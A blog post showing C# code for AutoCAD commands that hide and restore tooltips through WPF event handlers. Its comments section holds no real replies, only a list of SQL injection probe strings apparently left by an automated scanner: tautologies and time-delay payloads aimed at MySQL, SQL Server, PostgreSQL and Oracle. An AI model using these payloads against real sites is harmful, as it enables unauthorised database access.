Disabling AutoCAD tooltips using .NET
I wasn't planning on posting to this blog again, this week – three times per week is enough, I find, so I tend to save any leftovers for the week after – but this question James Maeding asked is very much related to this week's posts, and – in any case – I already have three fun posts planned for next week. :-)
Here's the question James asked, again:
wish I had something to make tooltips disappear when needed. I like them on for many things, but then they get in the way sometimes, and you have to cancel all you are doing to turn them off. If only I could toggle them transparently with some command...maybe its easy I just have not thought about it too much.
It turned out to be pretty easy. Based on the approach I used – way back when – for automatic tooltip translation, I went and added an event handler that makes tooltips invisible as soon as they're shown. One interesting point is that I needed to make them visible again as they were closing (not that we see that). Otherwise they won't come back – in the same session – once we re-enable them by removing the event handler.
Here's the C# code defining the DTT and ETT commands, which disable and enable tooltips, respectively.
using Autodesk.AutoCAD.ApplicationServices;
using Autodesk.AutoCAD.Runtime;
using Autodesk.Windows;
namespace UserInterfaceManipulation
{
public class Commands
{
[CommandMethod("DTT", CommandFlags.Transparent)]
public static void DisableToolTips()
{
EnableTooltips(false);
}
[CommandMethod("ETT", CommandFlags.Transparent)]
public static void EnableToolTips()
{
EnableTooltips(true);
}
public static void EnableTooltips(bool enable)
{
if (enable)
{
ComponentManager.ToolTipOpened -= OnToolTipOpened;
ComponentManager.ToolTipClosed -= OnToolTipClosed;
}
else
{
ComponentManager.ToolTipOpened += OnToolTipOpened;
ComponentManager.ToolTipClosed += OnToolTipClosed;
}
}
private static void OnToolTipOpened(object sender, System.EventArgs e)
{
var tt = sender as System.Windows.Controls.ToolTip;
if (tt != null)
{
tt.Visibility = System.Windows.Visibility.Hidden;
}
}
private static void OnToolTipClosed(object sender, System.EventArgs e)
{
var tt = sender as System.Windows.Controls.ToolTip;
if (tt != null)
{
tt.Visibility = System.Windows.Visibility.Visible;
}
}
}
}
Here are the commands in action:
评论 (32)
-1 OR 2+373-373-1=0+0+0+1 --
-1 OR 3+373-373-1=0+0+0+1 --
-1 OR 2+223-223-1=0+0+0+1
-1 OR 3+223-223-1=0+0+0+1
-1' OR 2+572-572-1=0+0+0+1 --
-1' OR 3+572-572-1=0+0+0+1 --
-1' OR 2+265-265-1=0+0+0+1 or 'GlMyW1gk'='
-1' OR 3+265-265-1=0+0+0+1 or 'GlMyW1gk'='
-1" OR 2+838-838-1=0+0+0+1 --
-1" OR 3+838-838-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
GwnSWCUu'; waitfor delay '0:0:15' --
lO1DUaWL'); waitfor delay '0:0:15' --
b51gFNym')); waitfor delay '0:0:15' --
-5 OR 508=(SELECT 508 FROM PG_SLEEP(15))--
-5) OR 936=(SELECT 936 FROM PG_SLEEP(15))--
-1)) OR 307=(SELECT 307 FROM PG_SLEEP(15))--
ot7YwTj8' OR 569=(SELECT 569 FROM PG_SLEEP(15))--
BillsuDT') OR 183=(SELECT 183 FROM PG_SLEEP(15))--
DJYWsPGT')) OR 35=(SELECT 35 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1����%2527%2522
@@GvOgd